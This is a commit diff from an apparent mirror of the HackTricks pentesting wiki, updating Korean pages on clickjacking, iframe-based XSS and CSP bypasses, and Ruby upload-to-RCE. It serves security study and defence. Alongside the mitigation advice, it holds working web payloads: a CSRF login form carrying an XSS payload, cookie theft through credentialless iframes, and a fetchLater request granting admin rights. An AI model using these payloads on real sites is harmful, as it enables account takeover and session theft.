mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
520c6fe4c2
commit
c7aae9101b
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 파일 업로드를 통한 RCE
|
||||
|
||||
[이 기사](https://www.offsec.com/blog/cve-2024-46986/)에서 설명한 바와 같이, `config/initializers/`와 같은 민감한 디렉토리에 `.rb` 파일을 업로드하면 Ruby on Rails 애플리케이션에서 원격 코드 실행(RCE)으로 이어질 수 있습니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,15 +4,15 @@
|
||||
|
||||
## What is Clickjacking
|
||||
|
||||
클릭재킹 공격에서, **사용자**는 **보이지 않거나** 다른 요소로 위장된 웹페이지의 **요소**를 **클릭하도록 속아** 넘어갑니다. 이 조작은 사용자가 원치 않는 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 제품의 온라인 구매 등이 있습니다.
|
||||
클릭재킹 공격에서 **사용자**는 **보이지 않거나** 다른 요소로 위장된 웹페이지의 **요소**를 **클릭하도록 속아** 넘어갑니다. 이 조작은 사용자에게 의도하지 않은 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 제품의 온라인 구매 등이 있습니다.
|
||||
|
||||
### Prepopulate forms trick
|
||||
|
||||
때때로 **페이지 로딩 시 GET 매개변수를 사용하여 양식의 필드 값을 채우는 것이 가능합니다**. 공격자는 이 행동을 악용하여 임의의 데이터로 양식을 채우고 클릭재킹 페이로드를 전송하여 사용자가 제출 버튼을 누르도록 할 수 있습니다.
|
||||
때때로 **페이지 로딩 시 GET 매개변수를 사용하여 양식의 필드 값을 채우는 것이 가능합니다**. 공격자는 이 동작을 악용하여 임의의 데이터로 양식을 채우고 클릭재킹 페이로드를 전송하여 사용자가 제출 버튼을 누르도록 할 수 있습니다.
|
||||
|
||||
### Populate form with Drag\&Drop
|
||||
|
||||
사용자에게 **양식을 작성하도록** 요구하지만 특정 정보를 직접적으로 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 [**이 예제**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이 제어된 데이터를 작성할 수 있는 무언가를 **드래그 앤 드롭**하도록 요청할 수 있습니다.
|
||||
사용자에게 **양식을 작성하도록** 요구해야 하지만 특정 정보를 직접적으로 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 **Drag\&Drop**하여 제어된 데이터를 입력하도록 요청할 수 있습니다. [**이 예제**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이요.
|
||||
|
||||
### Basic Payload
|
||||
```css
|
||||
@ -89,21 +89,22 @@ background: #F00;
|
||||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별하고 페이지가 **클릭재킹에 취약**하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\
|
||||
사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별하고 페이지가 **클릭재킹**에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\
|
||||
예시:\
|
||||
계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹에 취약**하며 GET 매개변수로 **양식**을 **미리 채울** 수 있습니다.\
|
||||
공격자는 **XSS 페이로드**로 **양식**을 **미리 채우는** 클릭재킹 공격을 준비하고 **사용자**를 속여 양식을 **제출**하도록 할 수 있습니다. 따라서 **양식이 제출되고** 값이 수정되면, **사용자는 XSS를 실행하게 됩니다**.
|
||||
계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹**에 **취약**하며 GET 매개변수로 **양식**을 **미리 채울** 수 있습니다.\
|
||||
공격자는 해당 페이지에 대한 **클릭재킹** 공격을 준비하여 **XSS 페이로드**로 **양식**을 **미리 채우고** **사용자**를 **제출**하도록 속일 수 있습니다. 따라서 **양식이 제출되고** 값이 수정되면, **사용자는 XSS를 실행하게 됩니다**.
|
||||
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
먼저 [이 게시물에서 설명됨](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하고, 마우스 다운 이벤트와 클릭 이벤트 간의 시간 차이를 이용해 두 번 클릭하는 동안 피해자 페이지를 로드하여 **피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게** 합니다.
|
||||
먼저 [이 게시물에서 설명됨](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하며, 마우스 다운 이벤트와 클릭 이벤트 간의 시간 차이를 이용하여 두 번 클릭하는 동안 피해자 페이지를 로드하여 **피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게 만듭니다**.
|
||||
|
||||
예시는 이 비디오에서 볼 수 있습니다: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
코드 예시는 [이 페이지](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)에서 찾을 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있게 합니다. 따라서 공격자는 **1회 클릭으로 수행할 수 있는 민감한 작업, 예를 들어 권한을 수락하는 OAuth 프롬프트**를 찾아야 합니다.
|
||||
> 이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있게 합니다. 따라서 공격자는 **단 1회의 클릭으로 수행할 수 있는 민감한 작업, 예를 들어 OAuth 권한 수락 프롬프트**를 찾아야 합니다.
|
||||
|
||||
## Clickjacking 완화 전략
|
||||
|
||||
@ -111,7 +112,7 @@ background: #F00;
|
||||
|
||||
클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위한 작업을 수행할 수 있습니다:
|
||||
|
||||
- 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다.
|
||||
- 애플리케이션 창이 주 창 또는 최상위 창인지 확인합니다.
|
||||
- 모든 프레임을 표시합니다.
|
||||
- 보이지 않는 프레임에서 클릭을 방지합니다.
|
||||
- 잠재적인 클릭재킹 시도에 대해 사용자에게 감지하고 경고합니다.
|
||||
@ -119,14 +120,14 @@ background: #F00;
|
||||
그러나 이러한 프레임 파괴 스크립트는 우회될 수 있습니다:
|
||||
|
||||
- **브라우저 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
|
||||
- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 상위 창인지 확인하는 것을 방지합니다, 예를 들어,
|
||||
- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 최상위 창인지 확인하는 것을 방지합니다, 예를 들어,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` 및 `allow-scripts` 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 `allow-same-origin` 및 `allow-modals`와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지는 허용할 권한을 안내할 수 있습니다.
|
||||
`allow-forms` 및 `allow-scripts` 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 `allow-same-origin` 및 `allow-modals`와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지는 어떤 권한을 허용해야 하는지 안내할 수 있습니다.
|
||||
|
||||
### 서버 측 방어
|
||||
|
||||
@ -137,11 +138,11 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
- `X-Frame-Options: deny` - 어떤 도메인도 콘텐츠를 프레임할 수 없습니다.
|
||||
- `X-Frame-Options: sameorigin` - 현재 사이트만 콘텐츠를 프레임할 수 있습니다.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - 지정된 'uri'만 페이지를 프레임할 수 있습니다.
|
||||
- 제한 사항에 유의하십시오: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.
|
||||
- 제한 사항에 유의하세요: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.
|
||||
|
||||
#### Content Security Policy (CSP) frame-ancestors 지시어
|
||||
|
||||
**CSP의 `frame-ancestors` 지시어**는 Clickjacking 방지를 위한 권장 방법입니다:
|
||||
**CSP의 `frame-ancestors` 지시어**는 Clickjacking 보호를 위한 권장 방법입니다:
|
||||
|
||||
- `frame-ancestors 'none'` - `X-Frame-Options: deny`와 유사합니다.
|
||||
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`과 유사합니다.
|
||||
@ -168,14 +169,14 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||||
|
||||
#### `child-src` 지시어
|
||||
|
||||
- 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입됨.
|
||||
- frame-src 및 worker-src에 대한 대체 역할을 함.
|
||||
- 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입되었습니다.
|
||||
- frame-src 및 worker-src에 대한 대체 역할을 합니다.
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
```
|
||||
이 정책은 동일 출처(자기 자신)와 https://trusted-website.com에서 프레임과 워커를 허용합니다.
|
||||
이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임과 워커를 허용합니다.
|
||||
|
||||
**사용 노트:**
|
||||
**사용 참고 사항:**
|
||||
|
||||
- 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
|
||||
- 대체 동작: frame-src가 없으면 child-src가 프레임에 대한 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
|
||||
@ -191,9 +192,9 @@ top.location = self.location
|
||||
```
|
||||
#### Anti-CSRF 토큰 사용
|
||||
|
||||
- **토큰 검증:** 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지며 Clickjacked 페이지를 통해 이루어지지 않도록 합니다.
|
||||
- **토큰 검증:** 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자가 의도적으로 수행한 것인지 Clickjacked 페이지를 통해 이루어진 것인지 확인합니다.
|
||||
|
||||
## References
|
||||
## 참고 문헌
|
||||
|
||||
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||||
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
iframed 페이지의 내용을 나타내는 방법은 3가지가 있습니다:
|
||||
|
||||
- URL을 나타내는 `src`를 통해 (URL은 교차 출처 또는 동일 출처일 수 있음)
|
||||
- `src`를 통해 URL을 나타냅니다 (URL은 교차 출처 또는 동일 출처일 수 있습니다)
|
||||
- `data:` 프로토콜을 사용하여 내용을 나타내는 `src`
|
||||
- 내용을 나타내는 `srcdoc`
|
||||
|
||||
@ -45,17 +45,17 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
이전 HTML에 HTTP 서버(예: `python3 -m http.server`)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). **부모는 어떤 iframe 안의 `secret` 변수를 접근할 수 없으며** **오직 if2 및 if3 iframe(같은 사이트로 간주됨)만이 원래 창의 secret에 접근할 수 있습니다.**\
|
||||
if4는 `null` 출처로 간주된다는 점에 유의하세요.
|
||||
이전 HTML에 http 서버(예: `python3 -m http.server`)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). **부모는 어떤 iframe 안의 `secret` 변수를 접근할 수 없으며** **오직 if2 및 if3 iframe(같은 사이트로 간주됨)만이 원래 창의 secret에 접근할 수 있습니다.**\
|
||||
if4가 `null` 출처로 간주된다는 점에 유의하세요.
|
||||
|
||||
### CSP가 있는 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 다음 우회에서 iframed 페이지에 대한 응답에 JS 실행을 방지하는 CSP 헤더가 포함되어 있지 않다는 점에 유의하세요.
|
||||
|
||||
`script-src`의 `self` 값은 `data:` 프로토콜이나 `srcdoc` 속성을 사용하여 JS 코드를 실행하는 것을 허용하지 않습니다.\
|
||||
그러나 CSP의 `none` 값조차도 `src` 속성에 URL(전체 또는 경로만) 을 넣은 iframe의 실행을 허용합니다.\
|
||||
따라서 다음과 같이 페이지의 CSP를 우회할 수 있습니다:
|
||||
따라서 다음과 같이 페이지의 CSP를 우회하는 것이 가능합니다:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
@ -76,14 +76,14 @@ id="if4"
|
||||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
</html>
|
||||
```
|
||||
이전 CSP는 **인라인 스크립트의 실행만 허용합니다**.\
|
||||
그러나 **오직 `if1`과 `if2` 스크립트만 실행되지만, 오직 `if1`만 부모 비밀에 접근할 수 있습니다**.
|
||||
**이전 CSP는 인라인 스크립트의 실행만 허용합니다.**\
|
||||
그러나 **오직 `if1`과 `if2` 스크립트만 실행되지만, 오직 `if1`만 부모 비밀에 접근할 수 있습니다.**
|
||||
|
||||
.png>)
|
||||
|
||||
따라서 **서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. `script-src 'none'`인 경우에도 가능합니다**. 이는 **동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다**.
|
||||
따라서 **서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. `script-src 'none'`이더라도 가능합니다.** 이는 **동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다.**
|
||||
|
||||
다음 시나리오로 테스트할 수 있습니다. `script-src 'none'`인 경우에도 쿠키가 도난당합니다. 애플리케이션을 실행하고 브라우저로 접근해 보세요:
|
||||
다음 시나리오로 테스트할 수 있습니다. 쿠키가 `script-src 'none'`일 때도 도난당합니다. 애플리케이션을 실행하고 브라우저로 접근하세요:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
@ -117,41 +117,70 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
```
|
||||
### Iframe sandbox
|
||||
|
||||
iframe 내의 콘텐츠는 `sandbox` 속성을 사용하여 추가 제한을 받을 수 있습니다. 기본적으로 이 속성은 적용되지 않으며, 즉 제한이 없습니다.
|
||||
iframe 내의 콘텐츠는 `sandbox` 속성을 사용하여 추가 제한을 받을 수 있습니다. 기본적으로 이 속성은 적용되지 않으며, 이는 제한이 없음을 의미합니다.
|
||||
|
||||
사용될 때, `sandbox` 속성은 여러 가지 제한을 부과합니다:
|
||||
|
||||
- 콘텐츠는 고유한 출처에서 온 것처럼 처리됩니다.
|
||||
- 콘텐츠는 고유한 출처에서 온 것처럼 취급됩니다.
|
||||
- 양식을 제출하려는 모든 시도가 차단됩니다.
|
||||
- 스크립트 실행이 금지됩니다.
|
||||
- 특정 API에 대한 접근이 비활성화됩니다.
|
||||
- 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지합니다.
|
||||
- `<embed>`, `<object>`, `<applet>` 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다.
|
||||
- 콘텐츠 자체가 콘텐츠의 최상위 브라우징 컨텍스트를 탐색하는 것이 방지됩니다.
|
||||
- 비디오 재생이나 양식 컨트롤의 자동 포커스와 같은 자동으로 트리거되는 기능이 차단됩니다.
|
||||
- 비디오 재생이나 양식 컨트롤의 자동 포커스와 같이 자동으로 트리거되는 기능이 차단됩니다.
|
||||
|
||||
속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다 (`sandbox=""`). 또는 특정 제한에서 iframe을 면제하는 공백으로 구분된 값 목록으로 설정할 수 있습니다.
|
||||
속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다(`sandbox=""`). 또는 특정 제한에서 iframe을 면제하는 공백으로 구분된 값 목록으로 설정할 수 있습니다.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
[이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 설명한 바와 같이, iframe의 `credentialless` 플래그는 요청에 자격 증명을 전송하지 않고 iframe 내에서 페이지를 로드하는 데 사용되며, iframe에 로드된 페이지의 동일 출처 정책(SOP)을 유지합니다.
|
||||
|
||||
이것은 iframe이 부모 페이지에 로드된 동일 SOP의 다른 iframe에서 민감한 정보에 접근할 수 있게 합니다:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Exploit example: Self-XSS + CSRF
|
||||
|
||||
이 공격에서 공격자는 2개의 iframe이 있는 악성 웹페이지를 준비합니다:
|
||||
|
||||
- CSRF가 XSS를 트리거하는 `credentialless` 플래그가 있는 피해자의 페이지를 로드하는 iframe (사용자의 사용자 이름에서 Self-XSS를 상상해 보세요):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- 실제로 사용자가 로그인한 다른 iframe ( `credentialless` 플래그 없이).
|
||||
|
||||
그런 다음, XSS에서 동일한 SOP를 가지므로 다른 iframe에 접근할 수 있으며, 예를 들어 쿠키를 훔치는 것을 실행할 수 있습니다:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater 공격
|
||||
|
||||
[이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 언급된 바와 같이, API `fetchLater`는 요청을 나중에 실행되도록 구성할 수 있게 해줍니다(특정 시간 후). 따라서, 이는 예를 들어, 피해자를 공격자의 세션 내에서 로그인시키고(자기 XSS를 통해), `fetchLater` 요청을 설정하여(예를 들어 현재 사용자의 비밀번호를 변경하기 위해) 공격자의 세션에서 로그아웃하는 데 악용될 수 있습니다. 그런 다음, 피해자는 자신의 세션에 로그인하고 `fetchLater` 요청이 실행되어 피해자의 비밀번호가 공격자가 설정한 비밀번호로 변경됩니다.
|
||||
|
||||
이렇게 하면 피해자의 URL이 iframe에서 로드될 수 없더라도(CSP 또는 기타 제한으로 인해), 공격자는 여전히 피해자의 세션에서 요청을 실행할 수 있습니다.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## SOP에서의 Iframes
|
||||
|
||||
다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user